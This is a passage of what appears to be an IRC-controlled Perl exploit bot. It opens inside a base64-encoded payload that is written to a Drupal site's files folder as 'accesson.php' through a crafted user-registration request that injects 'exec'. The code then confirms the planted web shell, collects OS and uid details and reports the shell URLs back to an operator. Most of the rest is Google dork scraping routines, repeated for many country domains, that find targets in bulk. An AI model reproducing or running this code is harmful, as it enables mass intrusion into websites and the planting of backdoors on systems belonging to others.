JQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43TDVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+sites/default/files/accesson.php";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_register_form','_drupal_ajax' => '1','mail[a][#post_render][]' => 'exec','mail[a][#type]' => 'markup','mail[a][#markup]' => $wget]);
$addblockup2="http://".$site."sites/default/files/accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."sites/default/files/accesson.php";
my $shell3 = "http://".$site."sites/default/files/vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
}
##################################################################################
sub isFound() {
my $status = 0;
my $link = $_[0];
my $reqexp = $_[1];
my $res = &get_content($link);
if ($res =~ /$reqexp/) { $status = 1 }
return $status;
}
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout($timot);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
sub setDork {
my $dork = $_[0];
$dork =~ s/\+/\%2B/g;
$dork =~ s/\%20/\+/g;
$dork =~ s/\%22/\"/g;
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}
sub getUagent {
my $uagent = $uagents[rand(scalar(@uagents))];
return $uagent;
}
sub search_engine_query {
my $url = $_[0];
my $uagent = &getUagent();
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ($query eq "") { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
my $sget = "GET $query HTTP/1.0\r\n";
$sget .= "Host: $host\r\n";
$sget .= "Accept: */*\r\n";
$sget .= "User-Agent: $uagent\r\n";
$sget .= "Connetion: Close\r\n\r\n";
print $sock $sget;
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
sub silkGetData {
my ($engine,$local) = @_;
my @list;
if($local) {
if(-d "x") {
my $i = 1;
for(my $i = 1;$i < 6;$i++) {
my $f = "x/".$i.".txt";
if(-e $f) {
my @data = &txtToArray($f);
@data = &clean(@data);
push(@list, @data);
} else {
last;
}
}
}
}
return @list;
}
sub unique {
my %seen;
grep !$seen{$_}++, @_;
}
sub txtToArray {
my $file = shift;
my @list;
if(-e $file) {
if(open(my $fh, $file)){
while(my $line = <$fh>) {
$line =~ s/\s+//g;
push(@list, $line);
}
}
}
return @list;
}
######################################### SEARCH ENGINE
sub silk {
my ($key,$dom) = @_;
my @list;
for (my $i=0; $i <= 10000; $i+=100){
my $proxy = $random[rand(scalar(@random))];
my $pgfa = $pgfas[rand(scalar(@pgfas))];
my $search = $proxy."?____pgfa=".$pgfa.&setDork($key)."%2Bsite%3A".$dom."%26num%3D100%26start%3D".$i;
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$url = $1;
$search = "http://".$url."/search?q=".&setDork($key)."&hl=".$dom."&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub google {
my @list;
my $key = $_[0];
for (my $i=0; $i<=10000; $i+=100){
my $search = "http://www.google.com/search?q=".&setDork($key)."&hl=&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com/search?q=".&setDork($key)."&hl=&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=10000; $i+=100){
my $search = "http://www.google.ca/search?q=".&setDork($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ca/search?q=".&setDork($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleDE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=10000; $i+=100){
my $search = "http://www.google.de/search?q=".&setDork($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.de/search?q=".&setDork($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleUK {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.uk/search?q=".&setDork($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.uk/search?q=".&setDork($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleFR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.fr/search?q=".&setDork($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.fr/search?q=".&setDork($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleES {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.es/search?q=".&setDork($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.es/search?q=".&setDork($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleIT {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.it/search?q=".&setDork($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.it/search?q=".&setDork($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleNL {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.nl/search?q=".&setDork($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.nl/search?q=".&setDork($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.be/search?q=".&setDork($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.be/search?q=".&setDork($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCH {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ch/search?q=".&setDork($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ch/search?q=".&setDork($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleSE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.se/search?q=".&setDork($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.se/search?q=".&setDork($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleDK {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.dk/search?q=".&setDork($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.dk/search?q=".&setDork($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleNO {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.no/search?q=".&setDork($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.no/search?q=".&setDork($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleNZ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.nz/search?q=".&setDork($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.nz/search?q=".&setDork($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleIE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ie/search?q=".&setDork($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ie/search?q=".&setDork($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.br/search?q=".&setDork($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.br/search?q=".&setDork($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ar/search?q=".&setDork($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ar/search?q=".&setDork($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCO {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
